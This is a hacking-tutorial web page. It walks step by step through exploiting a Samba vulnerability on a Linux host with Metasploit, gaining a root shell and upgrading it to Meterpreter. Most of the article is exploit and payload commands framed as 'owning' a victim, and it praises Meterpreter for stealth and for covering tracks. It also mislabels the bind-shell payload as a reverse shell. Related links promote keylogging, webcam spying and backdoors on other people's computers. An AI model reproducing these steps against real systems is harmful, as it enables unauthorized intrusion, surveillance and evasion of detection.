Hack Like a Pro: Hacking Samba on Ubuntu and Installing the Meterpreter « Null Byte :: WonderHowTo

Hey, hackers! Now that you've hacked/owned your first "box" inmy last article, let's look a little closer at another great feature of Metasploit, the Meterpreter, and then let's move on to hacking a Linux system and using the Meterpreter to control and own it.Why Meterpreter?Most exploits are only capable of doing one thing—insert a command, add a user, etc. Basically, it's one and done. In addition, if we add a command shell for our exploit (among the most useful payloads we can use on the victim), we are limited to processes that can be initiated at the command line. On systems running Linux, this provides us with a powerful environment for further system control, but on Windows systems we are working with a command shell leftover from DOS and of limited functionality (Windows Server's Powershell is remedying that).If we want to add another process to the victim, we need to exploit the system again and potentially risk detection (each exploit risks being detected by an IDS/IPS, security admin, etc.). The beauty of Meterpreter is that it gives us a platform on the victim system to create more functionality. It's a service that we install on the victim system that gives us command shell capability and much more. Additionally, the Meterpreter communicates back to us encrypted for stealth. We can even write our own scripts and run them on the target system through the Meterpreter. To sum up, Meterpreter makes extracting information from the target system and covering our tracks much easier.Now that you have a basic understanding of the Meterpreter, let's hack into a Linux system, install a reverse shell, and then upgrade to the Meterpreter for our convenience and pleasure. The steps are going to be essentially the same as inour previous hack, except that we change the exploit and payload.Getting StartedMost Linux systems run a process called Samba which makes its file system transparent to Windows systems (or vice versa). This process has long history of vulnerabilities that we can exploit. So, to hack our Linux system, we start a Linux system and start the Samba service.To begin, open up a terminal.Step1Open MetaspolitType:msfconsoleWe should get a command prompt that looks like this:msf >Step2Search for Samba ExploitsSimilar to ourhack of the Windows XP system, we can search Metasploit for a specific exploit by using the search function.Type:msf > search sambaMetasploit will return a list of modules that include samba in its name, as seen below.Notice under exploits that there's one called linux/samba/lsa_transnames_heap. Let's use this one.We can then type theusecommand with this exploit.msf > use linux/samba/lsa_transnames_heapNotice that the Metasploit command prompt has changed to reflect our chosen exploit.Step3Load a PayloadNow we ask Metasploit to show us the payloads that will work with this exploit by typing:msf > (exploit)  linux/samba/lsa_transnames_heap  > show payloadsNotice the long list of payloads that we might use for this particular exploit. In our case, we will use the linux/x86/shell_bind_tcp. This is a reverse shell capable of running on x86 systems and uses TCP. We should then type:msf > exploit( linux/samba/lsa_transnames_heap)  >  set payload linux/x86/shell_bind_tcpNotice above that Metasploit acknowledges our choice of payloads. We still have to set the LPORT (local port) and RHOST (remote host). This can be done by entering:msf > exploit(  linux/samba/lsa_transnames_heap)  >  Setg LPORT 8080msf > exploit(  linux/samba/lsa_transnames_heap)  >  Setg RHOST 192.168.0.13Notice that we used thesetgcommand instead of just thesetcommand as in earlier exploits.Setgsets the LPORT and LHOST globally, not only on this exploit. We are laying the groundwork for upgrading to the Meterpreter.Make certain that you set RHOST to the IP address of the victim system.Step4Now, We Exploit!Type:msf > exploit(linux/samba/lsa_transnames_heap)  >  exploit -zWe then get back a command shell on our Linux system. We can typewhoamiand the system returns root. We own the box! You have now successfully owned a Linux system and have root privileges. Nothing sweeter than that!Step5Upgrade to MeterpreterNow we need to upgrade our command shell to the Meterpreter. We can upgrade to the Meterpreter by typing:sessions –u  1Where theustands for upgrade.We now have a Meterpreter command that should look like this:Meterpreter>And now we are ready to rock and roll on this box!In future articles we will use the Meterpreter on our system to extract data, pivot attacks, and cover our tracks. Stay tuned!Main photo byShadow1643Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow to Hack Like a Pro:Getting Started with MetasploitHow to Hack Like a Pro:Hacking Windows Vista by Exploiting SMB2 VulnerabilitiesHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Hack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHack Like a Pro:How to Remotely Grab a Screenshot of Someone's Compromised ComputerHack Like a Pro:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterHow To:Run an VNC Server on Win7Hack Like a Pro:How to Cover Your Tracks So You Aren't DetectedHack Like a Pro:How to Secretly Hack Into, Switch On, & Watch Anyone's Webcam RemotelyHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)Hack Like a Pro:How to Remotely Record & Listen to the Microphone on Anyone's ComputerHow To:Hack Android Using Kali (Remotely)How To:Create a Reusable Burner OS with Docker, Part 1: Making an Ubuntu Hacking ContainerHack Like a Pro:Capturing Zero-Day Exploits in the Wild with a Dionaea Honeypot, Part 1Hack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHow To:Share files between an Ubuntu machine and Windows PCHack Like a Pro:How to Remotely Install an Auto-Reconnecting Persistent Back Door on Someone's PCHow To:Share Windows files with Ubuntu Linux using SambaHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHow To:Hack Any Account That Has Recovery via Phone Option Enabled (SMS) On Android:How To:Create a Reusable Burner OS with Docker, Part 2: Customizing Our Hacking ContainerHack Like a Pro:Snort IDS for the Aspiring Hacker, Part 3 (Sending Intrusion Alerts to MySQL)How To:Get Started with Kali Linux (2014 Version)Hack Like a Pro:How to Haunt Your Boss's Computer & Drive Him InsaneNews:Performance Hacks & Tweaks for LinuxNews:My Suzuki 1411 HKS  Laptop with Nvdia using Ubuntu 10.04How To:Install Minecraft in Ubuntu the Right Way!How To:Get Packet Injection Capable Drivers in Linux